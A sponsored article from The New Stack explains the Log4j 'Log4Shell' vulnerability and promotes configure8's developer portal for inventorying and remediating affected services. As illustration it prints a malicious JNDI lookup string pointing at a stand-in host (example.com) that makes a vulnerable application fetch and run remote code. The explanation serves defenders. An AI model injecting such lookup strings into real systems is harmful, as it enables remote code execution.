VOOZH about

URL: https://thenewstack.io/log4j-why-organizations-are-failing-to-remediate-this-risk/

⇱ Log4j: Why Organizations Are Failing to Remediate This Risk - The New Stack


TNS
SUBSCRIBE
Join our community of software engineering leaders and aspirational developers. Always stay in-the-know by getting the most important news and exclusive content delivered fresh to your inbox to learn more about at-scale software development.
REQUIRED
It seems that you've previously unsubscribed from our newsletter in the past. Click the button below to open the re-subscribe form in a new tab. When you're done, simply close that tab and continue with this form to complete your subscription.
The New Stack does not sell your information or share it with unaffiliated third parties. By continuing, you agree to our Terms of Use and Privacy Policy.
Welcome and thank you for joining The New Stack community!
Please answer a few simple questions to help us deliver the news and resources you are interested in.
REQUIRED
REQUIRED
REQUIRED
REQUIRED
REQUIRED
Great to meet you!
Tell us a bit about your job so we can cover the topics you find most relevant.
REQUIRED
REQUIRED
REQUIRED
REQUIRED
REQUIRED
Welcome!

We’re so glad you’re here. You can expect all the best TNS content to arrive Monday through Friday to keep you on top of the news and at the top of your game.

What’s next?

Check your inbox for a confirmation email where you can adjust your preferences and even join additional groups.

Follow TNS on your favorite social media networks.

Become a TNS follower on LinkedIn.

Check out the latest featured and trending stories while you wait for your first TNS newsletter.

PREV
1 of 2
NEXT
VOXPOP
As a JavaScript developer, what non-React tools do you use most often?
Angular
0%
Astro
0%
Svelte
0%
Vue.js
0%
Other
0%
I only use React
0%
I don't use JavaScript
0%
Thanks for your opinion! Subscribe below to get the final results, published exclusively in our TNS Update newsletter:
NEW! Try Stackie AI
From clobbered drafts to real-time sync
Apr 14th 2026 10:00am, by David Moore
TypeScript 6.0 RC arrives as a bridge to a faster future
Mar 14th 2026 9:00am, by Darryl K. Taft
Mastra empowers web devs to build AI agents in TypeScript
Jan 28th 2026 11:00am, by Loraine Lawson
2022-12-14 12:04:03
Log4j: Why Organizations Are Failing to Remediate This Risk
sponsor-configure8,sponsored-post-contributed,
Open Source / Operations / Security

Log4j: Why Organizations Are Failing to Remediate This Risk

Log4j vulnerability is a serious issue for many companies, making it difficult to identify services and issues affected by the problem.
Dec 14th, 2022 12:04pm by Eric Goebelbecker
👁 Featued image for: Log4j: Why Organizations Are Failing to Remediate This Risk
configure8 sponsored this post.
Every year, security researchers discover more software vulnerabilities, but one security problem has stood out from the rest of the crowd: Log4j’s Log4Shell vulnerability. When researchers identified a remote code execution exploit in the Apache Log4j Library in December 2021, it was immediately clear that billions of devices that used Java were at risk. Much of the uproar over Log4j has died down, but that doesn’t mean the threat has passed. Many organizations are still struggling to eradicate this vulnerability. In fact, many are still in the process of finding out that they’re still vulnerable. Twenty-one percent of organizations with vulnerable systems reported triple-digit percentage growth in the number of assets vulnerable to the Log4j exploit in July compared to January.

What Is Log4j?

Log4j is an application logging library. Applications log events like diagnostic or error messages, which are used for troubleshooting and audit purposes. For example, many microservice applications record information about the requests they receive from users. These logs provide operators, administrators and developers with important information about how the services are used and where errors lie. One of Log4j’s most popular capabilities is a robust variable system that makes it easy for developers to add dynamic information to log messages. It’s also where the remote execution exploit is located.
configure8 is an internal developer portal that helps teams improve their developers’ experience and build culture.
Learn More
The latest from configure8

What Is the Log4j Vulnerability?

In December 2021, NIST announced CVE-2021-44228, a vulnerability in Log4, colloquially referred to as Log4Shell. One of Log4j’s most powerful features is its ability to perform Lookups that substitute specially formatted strings with runtime information. The most basic examples of Lookups are the time of an event and the Java class that generated it. More advanced uses of Lookups include environment variables or operations that use the Java Naming and Directory Interface (JNDI.) These mechanisms allow developers — and attackers — to reach outside of the application to collect information about the program’s environment or download code. For example, Log4 could transform this log message:
logger.info("Received request in ${docker:containerName}");
By replacing the variable ${docker:containerName} with the Docker container the code is running in:
10-19-2022 09:30:24 Received request in weblogic24
The prefix docker tells Log4j to look to Docker for the containerName property.

A Log4Shell Example

Lookups are a useful feature, and a logging system would be nearly useless if it weren’t able to enrich log messages with runtime information. But two properties of Lookups made the Log4Shell attack very dangerous:
  • Log4j processed all variables in a log message, even if they came from user input.
  • JNDI makes it possible for variables to leave the program boundaries to find a value, including the open internet. In other words, an attacker could use JNDI to coerce a program into downloading malicious code.
Lookups are a useful feature, and a logging system would be nearly useless if it weren’t able to enrich log messages with runtime information.
A benign example of JNDI looks like this:
logger.debug ("User under test: ${jndi :ldap://localhost:8080/o=UserObjectID}")
This log message would request a user object from a service running on localhost and execute it. In the example, the developer created the URL for the user object and pointed it at a trusted system. But what happens when a user injects a URL that isn’t trusted? Imagine an attacker attempting to log in to a system with a username that’s a malicious JDNI address. The login fails, but the naïve target application passes the string to Log4j:
logger.error("User login failed. Username: ${jndi :ldap://example.com:8080/maliciouscode} is not valid")
With the vulnerability, the application downloads the payload and executes it. Even if an attacker doesn’t use JNDI to attack a system, they can still embed variables in requests that trick an application into logging information about their host system and environment. This, combined with insecurely stored log files, can provide them with information about a target system. The Log4j vulnerability makes it possible for attackers to coerce an application into running malicious code or logging secret information.

Why Is It Still a Threat?

Because of its powerful features and excellent performance, closed and open source applications have embedded Log4j libraries in their applications since the early 2000s. Addressing the vulnerability requires discovering the applications that use it. Then you must either get updates from the developers or manually replace the Log4j libraries and verify the code still works. Log4j’s ubiquity makes the first part of the process tremendously difficult. Locating and cataloging susceptible applications and devices is a heavy lift, and many companies don’t have the tools they need to do it.

What’s the Best Way to Address the Log4j Vulnerability?

The first step to addressing any problem is planning, and in this case, the plan must include discovering the applications and services that you need to update with a safe version of the library or a different logging framework. While this seems like an obvious step, many companies fail right here, at the outset of the project. Their efforts are doomed before they begin. “Without an accurate inventory of where the function is used, it can be very challenging to track down every single application it is used in the enterprise,” Allie Mellen, senior security operations analyst at Forrester, told Venture Beat when asked about mitigating the Log4j issue. So, start by collecting an inventory of applications that use Log4j. Once you’ve collected that, you can find or assign an owner and ensure they have the resources to mitigate the issue. But collecting that inventory is easy to describe, but difficult to accomplish. You may picture a collection of spreadsheets with application information and a set of headaches associated with keeping them up to date. Fortunately, there are better tools.

Internal Developer Portals to the Rescue

Managing a large remediation process calls for an internal developer portal built around a universal catalog. This type of solution enables you to organize all of your applications, services, environments, cloud resources and key information about them like owners, install dependencies and security vulnerabilities in one place. With advanced analytics and scorecarding, you can then measure and manage the team’s progress in remediating the vulnerabilities.
Managing a large remediation process calls for an internal developer portal built around a universal catalog for tracking services.
Configure8 offers a comprehensive array of key integrations to help teams find and solve Log4j issues, including cloud resources spanning Amazon Web Services (AWS), Azure and Google Cloud Platform (GCP), repository providers, and security tool integrations, and an ever-expanding suite of analytics that can be run on this living knowledge map of your distributed system. With a solution like this, you can quickly map your system, identify vulnerabilities and the parties responsible for remediation, and organize and track an initiative to address remaining Log4j vulnerabilities in your organization.

Conclusion

The Log4j vulnerability is still a significant problem for many companies. One of the primary reasons is because Log4j’s ubiquity makes it difficult for companies to identify the services and systems that are affected by the issue. Companies need an accurate inventory of their services, one that includes information about software versions, security status, team ownership, deployments and other relevant information. But an inventory stored in spreadsheets or any other manual entry system is just another maintenance problem. Remediating wide-scale service issues like Log4j requires a dynamic system inventory that can onboard data quickly and provide you with advanced visualizations and analytics about service status. Configure8 has the tools you need to manage a large-scale remediation like Log4j. It gives you the tools to quickly build a catalog of services and resources, and then drill down for information on individual components and their dependencies. From there, you have all the tools you need to start and track your efforts.
configure8 is an internal developer portal that helps teams improve their developers’ experience and build culture.
Learn More
The latest from configure8
TRENDING STORIES
Eric Goebelbeckerhas worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective).
Read more from Eric Goebelbecker
configure8 sponsored this post.
SHARE THIS STORY
TRENDING STORIES
AWS is a sponsor of The New Stack.
TNS owner Insight Partners is an investor in: Pragma, Docker.
SHARE THIS STORY
TRENDING STORIES
TNS DAILY NEWSLETTER Receive a free roundup of the most recent TNS articles in your inbox each day.
The New Stack does not sell your information or share it with unaffiliated third parties. By continuing, you agree to our Terms of Use and Privacy Policy.